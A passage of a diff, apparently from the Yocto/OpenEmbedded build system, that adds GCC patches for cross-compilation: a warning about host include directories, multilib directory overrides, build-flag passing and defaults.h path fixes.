target_configargs="--cache-file=./config.cache ${target_configargs}"
diff --git a/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch b/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch
new file mode 100644
index 0000000000..492300047d
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch
@@ -0,0 +1,226 @@
+From 52676b5934ba127c3af39fc484c8236c8fa60b96 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 8 Mar 2021 16:04:20 -0800
+Subject: [PATCH] gcc: poison-system-directories
+
+Add /sw/include and /opt/include based on the original
+zecke-no-host-includes.patch patch. The original patch checked for
+/usr/include, /sw/include and /opt/include and then triggered a failure and
+aborted.
+
+Instead, we add the two missing items to the current scan. If the user
+wants this to be a failure, they can add "-Werror=poison-system-directories".
+
+Upstream-Status: Inappropriate [OE configuration]
+Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/common.opt | 4 ++++
+ gcc/config.in | 10 ++++++++++
+ gcc/configure | 19 +++++++++++++++++++
+ gcc/configure.ac | 16 ++++++++++++++++
+ gcc/doc/invoke.texi | 9 +++++++++
+ gcc/gcc.cc | 9 +++++++--
+ gcc/incpath.cc | 21 +++++++++++++++++++++
+ 7 files changed, 86 insertions(+), 2 deletions(-)
+
+diff --git a/gcc/common.opt b/gcc/common.opt
+index 862c474d3c8..64c4277c991 100644
+--- a/gcc/common.opt
++++ b/gcc/common.opt
+@@ -711,6 +711,10 @@ Wreturn-local-addr
+ Common Var(warn_return_local_addr) Init(1) Warning
+ Warn about returning a pointer/reference to a local or temporary variable.
+
++Wpoison-system-directories
++Common Var(flag_poison_system_directories) Init(1) Warning
++Warn for -I and -L options using system directories if cross compiling
++
+ Wshadow
+ Common Var(warn_shadow) Warning
+ Warn when one variable shadows another. Same as -Wshadow=global.
+diff --git a/gcc/config.in b/gcc/config.in
+index 4cad077bfbe..80e832fdb84 100644
+--- a/gcc/config.in
++++ b/gcc/config.in
+@@ -236,6 +236,16 @@
+ #endif
+
+
++/* Define to warn for use of native system header directories */
++#ifndef USED_FOR_TARGET
++#undef ENABLE_POISON_SYSTEM_DIRECTORIES
++#endif
++/* Define to warn for use of native system header directories */
++#ifndef USED_FOR_TARGET
++#undef POISON_BY_DEFAULT
++#endif
++
++
+ /* Define if you want all operations on RTL (the basic data structure of the
+ optimizer and back end) to be checked for dynamic type safety at runtime.
+ This is quite expensive. */
+diff --git a/gcc/configure b/gcc/configure
+index c7b26d1927d..3508be7b439 100755
+--- a/gcc/configure
++++ b/gcc/configure
+@@ -1026,6 +1026,7 @@ enable_maintainer_mode
+ enable_link_mutex
+ enable_link_serialization
+ enable_version_specific_runtime_libs
++enable_poison_system_directories
+ enable_plugin
+ enable_host_shared
+ enable_libquadmath_support
+@@ -1788,6 +1789,8 @@ Optional Features:
+ --enable-version-specific-runtime-libs
+ specify that runtime libraries should be installed
+ in a compiler-specific directory
++ --enable-poison-system-directories
++ warn for use of native system header directories
+ --enable-plugin enable plugin support
+ --enable-host-shared build host code as shared libraries
+ --disable-libquadmath-support
+@@ -31753,6 +31756,22 @@ if test "${enable_version_specific_runtime_libs+set}" = set; then :
+ fi
+
+
++# Check whether --enable-poison-system-directories was given.
++if test "${enable_poison_system_directories+set}" = set; then :
++ enableval=$enable_poison_system_directories;
++else
++ enable_poison_system_directories=no
++fi
++
++if test "x${enable_poison_system_directories}" != "xno"; then
++
++$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
++if test "$enable_poison_system_directories" = "error"; then
++$as_echo "#define POISON_BY_DEFAULT 1" >>confdefs.h
++fi
++
++fi
++
+ # Substitute configuration variables
+
+
+diff --git a/gcc/configure.ac b/gcc/configure.ac
+index 09082e8ccae..6cd01a8966b 100644
+--- a/gcc/configure.ac
++++ b/gcc/configure.ac
+@@ -7292,6 +7292,22 @@ AC_ARG_ENABLE(version-specific-runtime-libs,
+ [specify that runtime libraries should be
+ installed in a compiler-specific directory])])
+
++AC_ARG_ENABLE([poison-system-directories],
++ AS_HELP_STRING([--enable-poison-system-directories],
++ [warn for use of native system header directories (no/yes/error)]),,
++ [enable_poison_system_directories=no])
++AC_MSG_NOTICE([poisoned directories $enable_poison_system_directories])
++if test "x${enable_poison_system_directories}" != "xno"; then
++ AC_MSG_NOTICE([poisoned directories enabled])
++ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
++ [1],
++ [Define to warn for use of native system header directories])
++ if test $enable_poison_system_directories = "error"; then
++ AC_MSG_NOTICE([poisoned directories are fatal])
++ AC_DEFINE([POISON_BY_DEFAULT], [1], [Define to make poison warnings errors])
++ fi
++fi
++
+ # Substitute configuration variables
+ AC_SUBST(subdirs)
+ AC_SUBST(srcdir)
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+index de40f62e219..d6f203c8b71 100644
+--- a/gcc/doc/invoke.texi
++++ b/gcc/doc/invoke.texi
+@@ -384,6 +384,7 @@ Objective-C and Objective-C++ Dialects}.
+ -Wpacked -Wno-packed-bitfield-compat -Wpacked-not-aligned -Wpadded
+ -Wparentheses -Wno-pedantic-ms-format
+ -Wpointer-arith -Wno-pointer-compare -Wno-pointer-to-int-cast
++-Wno-poison-system-directories
+ -Wno-pragmas -Wno-prio-ctor-dtor -Wredundant-decls
+ -Wrestrict -Wno-return-local-addr -Wreturn-type
+ -Wno-scalar-storage-order -Wsequence-point
+@@ -8426,6 +8427,14 @@ made up of data only and thus requires no special treatment. But, for
+ most targets, it is made up of code and thus requires the stack to be
+ made executable in order for the program to work properly.
+
++@opindex Wno-poison-system-directories
++@item -Wno-poison-system-directories
++Do not warn for @option{-I} or @option{-L} options using system
++directories such as @file{/usr/include} when cross compiling. This
++option is intended for use in chroot environments when such
++directories contain the correct headers and libraries for the target
++system rather than the host.
++
+ @opindex Wfloat-equal
+ @opindex Wno-float-equal
+ @item -Wfloat-equal
+diff --git a/gcc/gcc.cc b/gcc/gcc.cc
+index 16bb07f2cdc..5feae021545 100644
+--- a/gcc/gcc.cc
++++ b/gcc/gcc.cc
+@@ -1146,6 +1146,8 @@ proper position among the other output files. */
+ "%{fuse-ld=*:-fuse-ld=%*} " LINK_COMPRESS_DEBUG_SPEC \
+ "%X %{o*} %{e*} %{N} %{n} %{r}\
+ %{s} %{t} %{u*} %{z} %{Z} %{!nostdlib:%{!r:%{!nostartfiles:%S}}} \
++ %{Wno-poison-system-directories:--no-poison-system-directories} \
++ %{Werror=poison-system-directories:--error-poison-system-directories} \
+ %{static|no-pie|static-pie:} %@{L*} %(mfwrap) %(link_libgcc) " \
+ VTABLE_VERIFICATION_SPEC " " SANITIZER_EARLY_SPEC " %o "" \
+ %{fopenacc|fopenmp|%:gt(%{ftree-parallelize-loops=*:%*} 1):\
+@@ -1241,8 +1243,11 @@ static const char *cpp_unique_options =
+ static const char *cpp_options =
+ "%(cpp_unique_options) %1 %{m*} %{std*&ansi&trigraphs} %{W*&pedantic*} %{w}\
+ %{f*} %{g*:%{%:debug-level-gt(0):%{g*}\
+- %{!fno-working-directory:-fworking-directory}}} %{O*}\
+- %{undef} %{save-temps*:-fpch-preprocess}";
++ %{!fno-working-directory:-fworking-directory}}} %{O*}"
++#ifdef POISON_BY_DEFAULT
++ " -Werror=poison-system-directories"
++#endif
++ " %{undef} %{save-temps*:-fpch-preprocess}";
+
+ /* Pass -d* flags, possibly modifying -dumpdir, -dumpbase et al.
+
+diff --git a/gcc/incpath.cc b/gcc/incpath.cc
+index 4d44321183f..46c0d543205 100644
+--- a/gcc/incpath.cc
++++ b/gcc/incpath.cc
+@@ -26,6 +26,7 @@
+ #include "intl.h"
+ #include "incpath.h"
+ #include "cppdefault.h"
++#include "diagnostic-core.h"
+
+ /* Microsoft Windows does not natively support inodes.
+ VMS has non-numeric inodes. */
+@@ -399,6 +400,26 @@ merge_include_chains (const char *sysroot, cpp_reader *pfile, int verbose)
+ }
+ fprintf (stderr, _("End of search list.\n"));
+ }
++
++#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
++ if (flag_poison_system_directories)
++ {
++ struct cpp_dir *p;
++
++ for (p = heads[INC_QUOTE]; p; p = p->next)
++ {
++ if ((!strncmp (p->name, "/usr/include", 12))
++ || (!strncmp (p->name, "/usr/local/include", 18))
++ || (!strncmp (p->name, "/usr/X11R6/include", 18))
++ || (!strncmp (p->name, "/sw/include", 11))
++ || (!strncmp (p->name, "/opt/include", 12)))
++ warning (OPT_Wpoison_system_directories,
++ "include location \"%s\" is unsafe for "
++ "cross-compilation",
++ p->name);
++ }
++ }
++#endif
+ }
+
+ /* Use given -I paths for #include "..." but not #include <...>, and
diff --git a/meta/recipes-devtools/gcc/gcc/0003-64-bit-multilib-hack.patch b/meta/recipes-devtools/gcc/gcc/0003-64-bit-multilib-hack.patch
new file mode 100644
index 0000000000..69e7fa0ba9
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0003-64-bit-multilib-hack.patch
@@ -0,0 +1,201 @@
+From febfac59d0e8a864370d0b4018b4e497ceec156d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 29 Mar 2013 09:10:06 +0400
+Subject: [PATCH] 64-bit multilib hack
+
+GCC has internal multilib handling code but it assumes a very specific rigid directory
+layout. The build system implementation of multilib layout is very generic and allows
+complete customisation of the library directories.
+
+This patch is a partial solution to allow any custom directories to be passed into gcc
+and handled correctly. It forces gcc to use the base_libdir (which is the current
+directory, "."). We need to do this for each multilib that is configured as we don't
+know which compiler options may be being passed into the compiler. Since we have a compiler
+per mulitlib at this point that isn't an issue.
+
+The one problem is the target compiler is only going to work for the default multlilib at
+this point. Ideally we'd figure out which multilibs were being enabled with which paths
+and be able to patch these entries with a complete set of correct paths but this we
+don't have such code at this point. This is something the target gcc recipe should do
+and override these platform defaults in its build config.
+
+Do same for riscv64, aarch64 & arc
+
+RP 15/8/11
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Elvis Dowson <elvis.dowson@gmail.com>
+Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
+Signed-off-by: Zang Ruochen <zangruochen@loongson.cn>
+---
+ gcc/config/aarch64/t-aarch64-linux | 8 ++++----
+ gcc/config/arc/t-multilib-linux | 4 ++--
+ gcc/config/i386/t-linux64 | 6 ++----
+ gcc/config/mips/t-linux64 | 28 ++--------------------------
+ gcc/config/riscv/t-linux | 4 ++--
+ gcc/config/rs6000/t-linux64 | 5 ++---
+ gcc/config/loongarch/t-linux | 34 ++++++++++++++++++----------------
+ 7 files changed, 32 insertions(+), 57 deletions(-)
+
+diff --git a/gcc/config/aarch64/t-aarch64-linux b/gcc/config/aarch64/t-aarch64-linux
+index 57bf4100fcd..aaef5da8059 100644
+--- a/gcc/config/aarch64/t-aarch64-linux
++++ b/gcc/config/aarch64/t-aarch64-linux
+@@ -21,8 +21,8 @@
+ LIB1ASMSRC = aarch64/lib1funcs.asm
+ LIB1ASMFUNCS = _aarch64_sync_cache_range
+
+-AARCH_BE = $(if $(findstring TARGET_BIG_ENDIAN_DEFAULT=1, $(tm_defines)),_be)
+-MULTILIB_OSDIRNAMES = mabi.lp64=../lib64$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu)
+-MULTIARCH_DIRNAME = $(call if_multiarch,aarch64$(AARCH_BE)-linux-gnu)
++#AARCH_BE = $(if $(findstring TARGET_BIG_ENDIAN_DEFAULT=1, $(tm_defines)),_be)
++#MULTILIB_OSDIRNAMES = mabi.lp64=../lib64$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu)
++#MULTIARCH_DIRNAME = $(call if_multiarch,aarch64$(AARCH_BE)-linux-gnu)
+
+-MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
++#MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
+diff --git a/gcc/config/arc/t-multilib-linux b/gcc/config/arc/t-multilib-linux
+index a839e4ea67c..f92664573a9 100644
+--- a/gcc/config/arc/t-multilib-linux
++++ b/gcc/config/arc/t-multilib-linux
+@@ -16,9 +16,9 @@
+ # along with GCC; see the file COPYING3. If not see
+ # <http://www.gnu.org/licenses/>.
+
+-MULTILIB_OPTIONS = mcpu=hs/mcpu=archs/mcpu=hs38/mcpu=hs38_linux/mcpu=arc700/mcpu=nps400
++#MULTILIB_OPTIONS = mcpu=hs/mcpu=archs/mcpu=hs38/mcpu=hs38_linux/mcpu=arc700/mcpu=nps400
+
+-MULTILIB_DIRNAMES = hs archs hs38 hs38_linux arc700 nps400
++#MULTILIB_DIRNAMES = hs archs hs38 hs38_linux arc700 nps400
+
+ # Aliases:
+ MULTILIB_MATCHES += mcpu?arc700=mA7
+diff --git a/gcc/config/i386/t-linux64 b/gcc/config/i386/t-linux64
+index 138956b0962..d6e0cdc4342 100644
+--- a/gcc/config/i386/t-linux64
++++ b/gcc/config/i386/t-linux64
+@@ -32,7 +32,5 @@
+ #
+ comma=,
+ MULTILIB_OPTIONS = $(subst $(comma),/,$(TM_MULTILIB_CONFIG))
+-MULTILIB_DIRNAMES = $(patsubst m%, %, $(subst /, ,$(MULTILIB_OPTIONS)))
+-MULTILIB_OSDIRNAMES = m64=../lib64$(call if_multiarch,:x86_64-linux-gnu)
+-MULTILIB_OSDIRNAMES+= m32=$(if $(wildcard $(shell echo $(SYSTEM_HEADER_DIR))/../../usr/lib32),../lib32,../lib)$(call if_multiarch,:i386-linux-gnu)
+-MULTILIB_OSDIRNAMES+= mx32=../libx32$(call if_multiarch,:x86_64-linux-gnux32)
++MULTILIB_DIRNAMES = . .
++MULTILIB_OSDIRNAMES = ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
+diff --git a/gcc/config/mips/t-linux64 b/gcc/config/mips/t-linux64
+index 176091cabb6..8258ef40559 100644
+--- a/gcc/config/mips/t-linux64
++++ b/gcc/config/mips/t-linux64
+@@ -17,29 +17,5 @@
+ # <http://www.gnu.org/licenses/>.
+
+ MULTILIB_OPTIONS = mabi=n32/mabi=32/mabi=64
+-MULTILIB_DIRNAMES = n32 32 64
+-MIPS_EL = $(if $(filter %el, $(firstword $(subst -, ,$(target)))),el)
+-MIPS_SOFT = $(if $(strip $(filter MASK_SOFT_FLOAT_ABI, $(target_cpu_default)) $(filter soft, $(with_float))),soft)
+-ifeq (yes,$(enable_multiarch))
+- ifneq (,$(findstring gnuabi64,$(target)))
+- MULTILIB_OSDIRNAMES = \
+- ../lib32$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabin32$(MIPS_SOFT)) \
+- ../libo32$(call if_multiarch,:mips$(MIPS_EL)-linux-gnu$(MIPS_SOFT)) \
+- ../lib$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabi64$(MIPS_SOFT))
+- else ifneq (,$(findstring gnuabin32,$(target)))
+- MULTILIB_OSDIRNAMES = \
+- ../lib$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabin32$(MIPS_SOFT)) \
+- ../libo32$(call if_multiarch,:mips$(MIPS_EL)-linux-gnu$(MIPS_SOFT)) \
+- ../lib64$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabi64$(MIPS_SOFT))
+- else
+- MULTILIB_OSDIRNAMES = \
+- ../lib32$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabin32$(MIPS_SOFT)) \
+- ../lib$(call if_multiarch,:mips$(MIPS_EL)-linux-gnu$(MIPS_SOFT)) \
+- ../lib64$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabi64$(MIPS_SOFT))
+- endif
+-else
+- MULTILIB_OSDIRNAMES = \
+- ../lib32$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabin32$(MIPS_SOFT)) \
+- ../lib$(call if_multiarch,:mips$(MIPS_EL)-linux-gnu$(MIPS_SOFT)) \
+- ../lib64$(call if_multiarch,:mips64$(MIPS_EL)-linux-gnuabi64$(MIPS_SOFT))
+-endif
++MULTILIB_DIRNAMES = . . .
++MULTILIB_OSDIRNAMES = ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
+diff --git a/gcc/config/riscv/t-linux b/gcc/config/riscv/t-linux
+index 216d2776a18..e3c520f4bf6 100644
+--- a/gcc/config/riscv/t-linux
++++ b/gcc/config/riscv/t-linux
+@@ -1,3 +1,3 @@
+ # Only XLEN and ABI affect Linux multilib dir names, e.g. /lib32/ilp32d/
+-MULTILIB_DIRNAMES := $(patsubst rv32%,lib32,$(patsubst rv64%,lib64,$(MULTILIB_DIRNAMES)))
+-MULTILIB_OSDIRNAMES := $(patsubst lib%,../lib%,$(MULTILIB_DIRNAMES))
++#MULTILIB_DIRNAMES := $(patsubst rv32%,lib32,$(patsubst rv64%,lib64,$(MULTILIB_DIRNAMES)))
++#MULTILIB_OSDIRNAMES := $(patsubst lib%,../lib%,$(MULTILIB_DIRNAMES))
+diff --git a/gcc/config/rs6000/t-linux64 b/gcc/config/rs6000/t-linux64
+index 01a94242308..1429eceaebf 100644
+--- a/gcc/config/rs6000/t-linux64
++++ b/gcc/config/rs6000/t-linux64
+@@ -26,10 +26,9 @@
+ # MULTILIB_OSDIRNAMES according to what is found on the target.
+
+ MULTILIB_OPTIONS := m64/m32
+-MULTILIB_DIRNAMES := 64 32
++MULTILIB_DIRNAMES := . .
+ MULTILIB_EXTRA_OPTS :=
+-MULTILIB_OSDIRNAMES := m64=../lib64$(call if_multiarch,:powerpc64-linux-gnu)
+-MULTILIB_OSDIRNAMES += m32=$(if $(wildcard $(shell echo $(SYSTEM_HEADER_DIR))/../../usr/lib32),../lib32,../lib)$(call if_multiarch,:powerpc-linux-gnu)
++MULTILIB_OSDIRNAMES := ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
+
+ rs6000-linux.o: $(srcdir)/config/rs6000/rs6000-linux.cc
+ $(COMPILE) $<
+diff --git a/gcc/config/loongarch/t-linux b/gcc/config/loongarch/t-linux
+index e40da1792..0c7ec9f8a 100644
+--- a/gcc/config/loongarch/t-linux
++++ b/gcc/config/loongarch/t-linux
+@@ -18,7 +18,9 @@
+
+ # Multilib
+ MULTILIB_OPTIONS = mabi=lp64d/mabi=lp64f/mabi=lp64s
+-MULTILIB_DIRNAMES = base/lp64d base/lp64f base/lp64s
++#MULTILIB_DIRNAMES = base/lp64d base/lp64f base/lp64s
++MULTILIB_DIRNAMES = . . .
++MULTILIB_OSDIRNAMES = ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
+
+ # The GCC driver always gets all abi-related options on the command line.
+ # (see loongarch-driver.c:driver_get_normalized_m_opts)
+@@ -36,18 +38,18 @@ else
+ endif
+
+ # Don't define MULTILIB_OSDIRNAMES if multilib is disabled.
+-ifeq ($(filter LA_DISABLE_MULTILIB,$(tm_defines)),)
+-
+- MULTILIB_OSDIRNAMES = \
+- mabi.lp64d=../lib64$\
+- $(call if_multiarch,:loongarch64-linux-gnu)
+-
+- MULTILIB_OSDIRNAMES += \
+- mabi.lp64f=../lib64/f32$\
+- $(call if_multiarch,:loongarch64-linux-gnuf32)
+-
+- MULTILIB_OSDIRNAMES += \
+- mabi.lp64s=../lib64/sf$\
+- $(call if_multiarch,:loongarch64-linux-gnusf)
+-
+-endif
++#ifeq ($(filter LA_DISABLE_MULTILIB,$(tm_defines)),)
++#
++# MULTILIB_OSDIRNAMES = \
++# mabi.lp64d=../lib64$\
++# $(call if_multiarch,:loongarch64-linux-gnu)
++#
++# MULTILIB_OSDIRNAMES += \
++# mabi.lp64f=../lib64/f32$\
++# $(call if_multiarch,:loongarch64-linux-gnuf32)
++#
++# MULTILIB_OSDIRNAMES += \
++# mabi.lp64s=../lib64/sf$\
++# $(call if_multiarch,:loongarch64-linux-gnusf)
++#
++#endif
+
diff --git a/meta/recipes-devtools/gcc/gcc/0004-Pass-CXXFLAGS_FOR_BUILD-in-a-couple-of-places-to-avo.patch b/meta/recipes-devtools/gcc/gcc/0004-Pass-CXXFLAGS_FOR_BUILD-in-a-couple-of-places-to-avo.patch
new file mode 100644
index 0000000000..7e33bf17b0
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0004-Pass-CXXFLAGS_FOR_BUILD-in-a-couple-of-places-to-avo.patch
@@ -0,0 +1,64 @@
+From 6fbf920ccde6efc2d0caafde996d9e5738a1ba37 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Thu, 28 Oct 2021 11:33:40 +0100
+Subject: [PATCH] Pass CXXFLAGS_FOR_BUILD in a couple of places to avoid these
+ errors.
+
+If CXXFLAGS contains something unsupported by the build CXX, we see build failures (e.g. using -fmacro-prefix-map for the target).
+
+2021-10-28 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+ChangeLog:
+
+ * Makefile.in: Regenerate.
+ * Makefile.tpl: Add missing CXXFLAGS_FOR_BUILD overrides
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2023-February/612560.html]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile.in | 2 ++
+ Makefile.tpl | 2 ++
+ 2 files changed, 4 insertions(+)
+
+diff --git a/Makefile.in b/Makefile.in
+index 06a9398e172..4b0069b257c 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -178,6 +178,7 @@ BUILD_EXPORTS = \
+ # built for the build system to override those in BASE_FLAGS_TO_PASS.
+ EXTRA_BUILD_FLAGS = \
+ CFLAGS="$(CFLAGS_FOR_BUILD)" \
++ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
+ LDFLAGS="$(LDFLAGS_FOR_BUILD)"
+
+ # This is the list of directories to built for the host system.
+@@ -210,6 +211,7 @@ HOST_EXPORTS = \
+ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
+ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
++ CXXFLAGS_FOR_BUILD="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ DSYMUTIL="$(DSYMUTIL)"; export DSYMUTIL; \
+ LD="$(LD)"; export LD; \
+diff --git a/Makefile.tpl b/Makefile.tpl
+index dfbd74b68f8..419b332953b 100644
+--- a/Makefile.tpl
++++ b/Makefile.tpl
+@@ -181,6 +181,7 @@ BUILD_EXPORTS = \
+ # built for the build system to override those in BASE_FLAGS_TO_PASS.
+ EXTRA_BUILD_FLAGS = \
+ CFLAGS="$(CFLAGS_FOR_BUILD)" \
++ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
+ LDFLAGS="$(LDFLAGS_FOR_BUILD)"
+
+ # This is the list of directories to built for the host system.
+@@ -213,6 +214,7 @@ HOST_EXPORTS = \
+ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
+ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
++ CXXFLAGS_FOR_BUILD="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ DSYMUTIL="$(DSYMUTIL)"; export DSYMUTIL; \
+ LD="$(LD)"; export LD; \
diff --git a/meta/recipes-devtools/gcc/gcc/0005-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch b/meta/recipes-devtools/gcc/gcc/0005-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
new file mode 100644
index 0000000000..db2fea3d16
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0005-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch
@@ -0,0 +1,92 @@
+From 2cedf13819c0cc929660072d8a972f5e422f9701 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 29 Mar 2013 09:17:25 +0400
+Subject: [PATCH] Use the defaults.h in ${B} instead of ${S}, and t-oe in ${B}
+
+Use the defaults.h in ${B} instead of ${S}, and t-oe in ${B}, so that
+the source can be shared between gcc-cross-initial,
+gcc-cross-intermediate, gcc-cross, gcc-runtime, and also the sdk build.
+
+While compiling gcc-crosssdk-initial-x86_64 on some host, there is
+occasionally failure that test the existance of default.h doesn't
+work, the reason is tm_include_list='** defaults.h' rather than
+tm_include_list='** ./defaults.h'
+
+So we add the test condition for this situation.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ gcc/Makefile.in | 2 +-
+ gcc/configure | 4 ++--
+ gcc/configure.ac | 4 ++--
+ gcc/mkconfig.sh | 4 ++--
+ 4 files changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/gcc/Makefile.in b/gcc/Makefile.in
+index 775aaa1b3c4..04f28984b34 100644
+--- a/gcc/Makefile.in
++++ b/gcc/Makefile.in
+@@ -561,7 +561,7 @@ TARGET_SYSTEM_ROOT = @TARGET_SYSTEM_ROOT@
+ TARGET_SYSTEM_ROOT_DEFINE = @TARGET_SYSTEM_ROOT_DEFINE@
+
+ xmake_file=@xmake_file@
+-tmake_file=@tmake_file@
++tmake_file=@tmake_file@ ./t-oe
+ TM_ENDIAN_CONFIG=@TM_ENDIAN_CONFIG@
+ TM_MULTILIB_CONFIG=@TM_MULTILIB_CONFIG@
+ TM_MULTILIB_EXCEPTIONS_CONFIG=@TM_MULTILIB_EXCEPTIONS_CONFIG@
+diff --git a/gcc/configure b/gcc/configure
+index 3508be7b439..cf773a8b854 100755
+--- a/gcc/configure
++++ b/gcc/configure
+@@ -13507,8 +13507,8 @@ for f in $tm_file; do
+ tm_include_list="${tm_include_list} $f"
+ ;;
+ defaults.h )
+- tm_file_list="${tm_file_list} \$(srcdir)/$f"
+- tm_include_list="${tm_include_list} $f"
++ tm_file_list="${tm_file_list} ./$f"
++ tm_include_list="${tm_include_list} ./$f"
+ ;;
+ * )
+ tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
+diff --git a/gcc/configure.ac b/gcc/configure.ac
+index 6cd01a8966b..22591478b72 100644
+--- a/gcc/configure.ac
++++ b/gcc/configure.ac
+@@ -2357,8 +2357,8 @@ for f in $tm_file; do
+ tm_include_list="${tm_include_list} $f"
+ ;;
+ defaults.h )
+- tm_file_list="${tm_file_list} \$(srcdir)/$f"
+- tm_include_list="${tm_include_list} $f"
++ tm_file_list="${tm_file_list} ./$f"
++ tm_include_list="${tm_include_list} ./$f"
+ ;;
+ * )
+ tm_file_list="${tm_file_list} \$(srcdir)/config/$f"
+diff --git a/gcc/mkconfig.sh b/gcc/mkconfig.sh
+index 054ede89647..3b2c2b9df37 100644
+--- a/gcc/mkconfig.sh
++++ b/gcc/mkconfig.sh
+@@ -77,7 +77,7 @@ if [ -n "$HEADERS" ]; then
+ if [ $# -ge 1 ]; then
+ echo '#ifdef IN_GCC' >> ${output}T
+ for file in "$@"; do
+- if test x"$file" = x"defaults.h"; then
++ if test x"$file" = x"./defaults.h" -o x"$file" = x"defaults.h"; then
+ postpone_defaults_h="yes"
+ else
+ echo "# include \"$file\"" >> ${output}T
+@@ -106,7 +106,7 @@ esac
+
+ # If we postponed including defaults.h, add the #include now.
+ if test x"$postpone_defaults_h" = x"yes"; then
+- echo "# include \"defaults.h\"" >> ${output}T
++ echo "# include \"./defaults.h\"" >> ${output}T
+ fi
+
+ # Add multiple inclusion protection guard, part two.
diff --git a/meta/recipes-devtools/gcc/gcc/0006-cpp-honor-sysroot.patch b/meta/recipes-devtools/gcc/gcc/0006-cpp-honor-sysroot.patch
new file mode 100644
index 0000000000..704c44cb72
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0006-cpp-honor-sysroot.patch
@@ -0,0 +1,53 @@
+From f0b4d02a3a3dca1d67fd7add15ed63c2cd572bb9 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 29 Mar 2013 09:22:00 +0400
+Subject: [PATCH] cpp: honor sysroot.
+
+Currently, if the gcc toolchain is relocated and installed from sstate, then you try and compile
+preprocessed source (.i or .ii files), the compiler will try and access the builtin sysroot location
+rather than the --sysroot option specified on the commandline. If access to that directory is
+permission denied (unreadable), gcc will error.
+
+This happens when ccache is in use due to the fact it uses preprocessed source files.
+
+The fix below adds %I to the cpp-output spec macro so the default substitutions for -iprefix,
+-isystem, -isysroot happen and the correct sysroot is used.
+
+[YOCTO #2074]
+
+RP 2012/04/13
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/cp/lang-specs.h | 2 +-
+ gcc/gcc.cc | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/gcc/cp/lang-specs.h b/gcc/cp/lang-specs.h
+index c591d155cc1..61927869fe1 100644
+--- a/gcc/cp/lang-specs.h
